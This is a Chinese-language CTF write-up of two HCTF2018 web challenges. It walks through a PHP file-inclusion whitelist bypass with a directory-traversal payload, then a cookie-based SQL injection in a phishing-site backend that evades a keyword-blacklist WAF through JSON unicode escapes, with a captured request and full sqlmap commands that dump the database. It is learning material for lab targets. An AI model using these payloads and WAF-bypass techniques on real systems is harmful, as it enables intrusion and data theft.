前言
继续CTF复现,这次是HCTF2018 Web题里的 warmup 和 kzone,docker地址就不放了,见前面的文章。
warmup
这题好像是签到题,比较简单。题目进去是一个滑稽图片,很容易能够在源码里找到提示:source.php
于是直接访问source.php
,就得到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50source.php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
这里主要是一个文件包含的漏洞,然后有白名单,白名单里只有source.php
和hint.php
,于是访问另一个白名单文件hint.php
,http://xx.xx.xx.xx:9999/?file=hint.php
然后页面返回内容为flag not here, and flag in ffffllllaaaagggg
,这个意思应该是flag在ffffllllaaaagggg
文件里面。那现在就要解决如何绕过白名单,包含ffffllllaaaagggg
文件这个问题。
于是看到源代码,看到checkFile函数,发现里面把传入的file参数做了个?
截断处理,估计这个跟出flag有关。后面搜索之后,发现这题是利用phpmyadmin 4.8.x
的一个LFI漏洞,相关文章地址:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/
利用思路是,利用添加?
绕过白名单,然后来到include $_REQUEST['file']
这行代码,这里是利用文件名后加?/
,使得hint.php?/
变为一个不存在的文件名,绕过checkFile函数,然后再在后面添加../
进行目录穿越(只适用于linux)
然后跟hint.php的内容一联系,构造?file=hint.php?/../ ··· ../ffffllllaaaagggg
格式的payload依次尝试,最后发现在跳跃4层目录后成功访问?file=hint.php?/../../../../ffffllllaaaagggg
,得到flag。
kzone
题目进去是个钓鱼网站,会转到QQ空间。既然是钓鱼网站,那就扫下后台有没有别的文件。
发现了www.zip
等一系列文件,把www.zip
文件下载下来,是整个网站的源码。
代码结构如下:
admin文件夹:管理整个钓鱼网站,导出、查看、删除钓鱼信息
include文件:包含一些功能性文件
2018.php:钓鱼插入文件
几个关键代码如下。
首先看到 include/common.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25common.php
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb768526');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();
include ROOT.'../config.php';
if(!isset($port))$port='3306';
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);
$password_hash='!@#%!s!';
require_once "safe.php";
require_once ROOT."function.php";
require_once ROOT."member.php";
require_once ROOT."os.php";
require_once ROOT."kill.intercept.php";
这里common.php定义了一些常量,然后包含include目录下的其他文件,包括safe.php、member.php等,其中safe.php代码如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42safe.php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
这里safe.php做了一个过滤,把一些SQL语句的关键词给过滤了,过滤对象为GET、POST、COOKIE数组。然后是member.php,代码如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33member.php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
这里就存在问题了,首先是这里对cookie数组里的数据执行了SQL语句进行验证,存在注入点,然后是后面比较密码的时候用到的是弱比较。那现在要解决的是,如何绕过safe.php里面的waf,这里就看到了第7行的json_decode,这里把COOKIE数组进行了一个json_decode处理,这里找到一篇浅谈json参数解析对waf绕过的影响
简单讲,就是利用json解码的时候,会把\u开头的unicode字符转回unicode对应的字符,即可以忽视掉waf里面的过滤,进行盲注。
我们可以看到代码里面两个if判断,都有相应setcookie处理,于是我们就可以把页面响应里含不含setcookie作为盲注的标志。
当用户名存在,密码错误的时候,返回两个setcookie,当用户名、密码都错误时,返回四个setcookie,当用户名错误,密码正确的时候,返回两个setcookie···
于是我们就可以在cookie里构造数据进行盲注,如用\u0075nion
代替union
。然后这里就可以用sqlmap跑一下了,编写sqlmap的tamper脚本如下
1 | #!/usr/bin/env python |
然后把抓包结果保存为txt文件,hctf_kzone.txt如下1
2
3
4
5
6
7
8
9
10GET /admin/ HTTP/1.1
Host: xx.xx.xx.xx:7777
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: islogin=1;login_data=*
Connection: close
注意在参数位置加上*
指定,然后sqlmap运行时指定为布尔盲注 --technique=B
,指定错误时的回显为window.location --not-string=window.location
然后就开始执行跑sqlmap吧。
爆数据库python sqlmap.py -r hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 --dbs
爆表python sqlmap.py -r c:\\Users\\HP\\Desktop\\hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 -D hctf_kouzone --tables
爆列python sqlmap.py -r c:\\Users\\HP\\Desktop\\hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 -D hctf_kouzone -T F1444g --columns
爆flagpython sqlmap.py -r c:\\Users\\HP\\Desktop\\hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 -D hctf_kouzone -T F1444g -C F1a9 --dump
这道题还可以自己写python脚本盲注,而且可以不利用json解码这个点,以后再来写吧,最近心态有点崩。。。